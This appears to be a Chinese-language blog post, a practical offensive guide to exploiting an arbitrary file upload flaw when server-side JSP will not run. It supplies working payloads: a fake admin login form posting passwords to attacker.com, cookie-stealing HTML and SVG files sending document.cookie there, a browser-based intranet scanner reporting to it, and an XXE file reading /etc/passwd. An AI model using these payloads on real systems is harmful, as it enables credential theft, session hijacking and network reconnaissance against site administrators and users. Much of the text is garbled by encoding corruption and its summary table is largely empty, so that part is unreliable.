??? 無(wú)法執(zhí)行 JSP 時(shí),如何高效利用任意文件上傳漏洞
?? 漏洞背景
目標(biāo)系統(tǒng)存在任意文件上傳漏洞,攻擊者可以上傳任意類型的文件,包括 .jsp
、.html
、.js
等。但:
.jsp
雖可上傳,但 無(wú)法執(zhí)行(可能情況:Web 服務(wù)器不解析 JSP、權(quán)限限制、文件路徑未知等)。- 文件真實(shí)路徑已知,上傳后文件訪問(wèn)不解析執(zhí)行。
- 不能依賴傳統(tǒng)的 WebShell 方式上線或執(zhí)行命令。
那么,此時(shí)我們還能做什么呢?以下是完整的實(shí)戰(zhàn)指南。
?? 核心目標(biāo)
即使無(wú)法執(zhí)行服務(wù)器端腳本,任意文件上傳仍具備以下潛力:
- 輔助其他漏洞鏈構(gòu)建(如 XSS、LFI、XXE 等)
?? 利用方式與可行性分析
1. 上傳 HTML + JS 頁(yè)面誘導(dǎo)訪問(wèn)(釣魚攻擊)
思路: 上傳惡意 HTML 頁(yè)面,誘導(dǎo)管理員點(diǎn)擊訪問(wèn),執(zhí)行 JS 代碼,實(shí)現(xiàn) XSS、信息收集或內(nèi)網(wǎng)探測(cè)。
示例:上傳誘導(dǎo)頁(yè)面 login.html
<!-- fake_admin_login.html -->
<html>
<body>
<h2>后臺(tái)登錄已超時(shí),請(qǐng)重新登錄</h2>
<form action="http://attacker.com/collect" method="POST">
用戶名:<input name="user"><br>
密碼:<input type="password" name="pass"><br>
<input type="submit" value="登錄">
</form>
</body>
</html>
利用方式:
- 發(fā)送釣魚鏈接到管理員或目標(biāo)用戶(如:
https://target.com/uploads/login.html
)
2. 注入型 HTML/JS 頁(yè)面 -> XSS 腳本執(zhí)行
思路: 上傳帶有 XSS Payload 的 .html
, .svg
, .js
文件,誘導(dǎo)訪問(wèn)即觸發(fā)腳本。
示例:xss.html
<html>
<body>
<script>
fetch("http://attacker.com/collect?cookie=" + document.cookie);
</script>
<h1>加載中...</h1>
</body>
</html>
利用方式:
- 訪問(wèn)鏈接誘導(dǎo)管理員點(diǎn)擊(或目標(biāo)系統(tǒng)自動(dòng)加載 HTML 頁(yè)面如日志、圖像、文檔)
- 自動(dòng)發(fā)送管理員 Cookie 給攻擊者,實(shí)現(xiàn)后臺(tái)會(huì)話劫持
3. SVG 文件 XSS 利用(繞過(guò)限制)
思路: SVG 是合法圖像格式,支持嵌入腳本,可繞過(guò)部分上傳限制系統(tǒng)。
示例:xss.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)">
<circle cx="100" cy="100" r="50" fill="blue"/>
</svg>
利用方式:
- 如果有“文件預(yù)覽”、“圖像查看”功能,管理員點(diǎn)擊查看時(shí)即被觸發(fā)
4. 利用上傳文件進(jìn)行內(nèi)網(wǎng)信息收集(誘導(dǎo)掃描)
思路: 上傳 JS 頁(yè)面誘導(dǎo)用戶瀏覽器請(qǐng)求內(nèi)網(wǎng)地址,攻擊者據(jù)此確認(rèn)內(nèi)網(wǎng)結(jié)構(gòu)。
示例:intranet_scan.html
<script>
const ports = [80, 8080, 5000, 8000];
const subnet = "192.168.1.";
for (let i = 1; i <= 254; i++) {
ports.forEach(port => {
let target = `http://${subnet}${i}:${port}`;
fetch(target, { mode: 'no-cors' }).then(() => {
fetch("http://attacker.com/log?host=" + encodeURIComponent(target)); // 結(jié)果返回
});
});
}
</script>
利用方式:
- 誘導(dǎo)管理員或內(nèi)部用戶訪問(wèn)上傳頁(yè)面
- 瀏覽器觸發(fā)內(nèi)網(wǎng)請(qǐng)求
- 攻擊者服務(wù)器接收成功請(qǐng)求,獲得內(nèi)網(wǎng) IP 存活資產(chǎn)
5. 惡意 XML / JSON 文件觸發(fā) XXE / 配置注入
思路: 某些系統(tǒng)會(huì)解析上傳的 XML/JSON 文件,若未安全配置,可能觸發(fā) XXE 或 JSON 配置注入。
示例:evil.xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<root>&xxe;</root>
利用方式:
- 上傳該 XML 文件(如配置文件、報(bào)告模板等)
- 若 XXE 存在,攻擊者能獲取服務(wù)器本地文件內(nèi)容
6. 文件覆蓋 / 配置污染(需路徑可控)
思路: 若上傳路徑可控或服務(wù)端目錄結(jié)構(gòu)可探測(cè),嘗試覆蓋配置文件、JS 文件、日志文件等。
比如:
- 覆蓋 Nginx 配置或 Spring YAML 配置(若應(yīng)用會(huì)加載上傳的配置)
?? 如何獲取文件真實(shí)路徑
1. 響應(yīng)內(nèi)容回顯分析
大多數(shù)文件上傳接口在上傳成功后會(huì)返回響應(yīng)信息,其中可能包含如下內(nèi)容:
- 文件的訪問(wèn)路徑(絕對(duì)或相對(duì))
{"url":"/upload/imgs/abc.jpg"}
- 存儲(chǔ)路徑或文件名
{"filePath":"C:\\web\\uploads\\abc.jsp"}
- 上傳后的文件名(可用于拼接路徑)
{"file":"abc.jsp"}
?? 建議:詳細(xì)分析響應(yīng)體中的 JSON、HTML、Headers,尤其是如 url
、path
、location
字段。
2. 功能頁(yè)面自動(dòng)引用上傳文件
有些上傳功能會(huì)直接在前端頁(yè)面或后端邏輯中使用上傳的文件,例如:
- 上傳頭像后,在用戶詳情頁(yè)自動(dòng)加載該圖片
- 上傳合同后,在某個(gè)預(yù)覽地址中通過(guò)真實(shí)路徑訪問(wèn)文件
- 富文本上傳圖片后,在文章編輯區(qū)預(yù)覽
?? 建議:
- 上傳文件后觀察是否有圖片、音頻、PDF 等自動(dòng)加載;
- 監(jiān)聽(tīng)是否有新請(qǐng)求發(fā)起,URL 中可能就含有真實(shí)路徑;
- 若返回
img src
、iframe
、object
標(biāo)簽,路徑常嵌入其中。
3. 路徑猜解與探測(cè)(信息有限時(shí))
若以上兩種方式都失敗,就只能根據(jù)已有線索猜測(cè)路徑或進(jìn)行探測(cè)。例如:
- 根據(jù)上傳接口的路徑推斷訪問(wèn)路徑:
- 通??刹聹y(cè)訪問(wèn)路徑可能為
/static/upload/image/xxx.png
- 使用目錄掃描工具(如
dirsearch
)配合上傳文件名進(jìn)行路徑爆破。 - 結(jié)合響應(yīng)文件名構(gòu)造路徑:
?? 注意:猜測(cè)路徑時(shí)盡量使用時(shí)間戳、UUID、用戶ID等組合邏輯,還可結(jié)合源碼、JS、路徑泄漏等輔助信息。
?? 總結(jié)
- 不要一開(kāi)始就死磕
.jsp
的執(zhí)行 - 盡量從業(yè)務(wù)功能角度多思考上傳的文件,如何被使用、包含或處理
- 善用 HTML + JS 組合的誘導(dǎo)和信息獲取能力
- 一旦能訪問(wèn)上傳文件,釣魚 + XSS 是最快獲取權(quán)限的方式之一
| | | | |
---|
| .html | | | |
| .js | | | |
| .html | 打 Cookie,后臺(tái)劫持會(huì)話 | | |
| .xml | | | |
| .svg | | | |
| | 覆蓋 JS/config,污染執(zhí)行點(diǎn) | | |
閱讀原文:原文鏈接
該文章在 2025/5/6 12:14:05 編輯過(guò)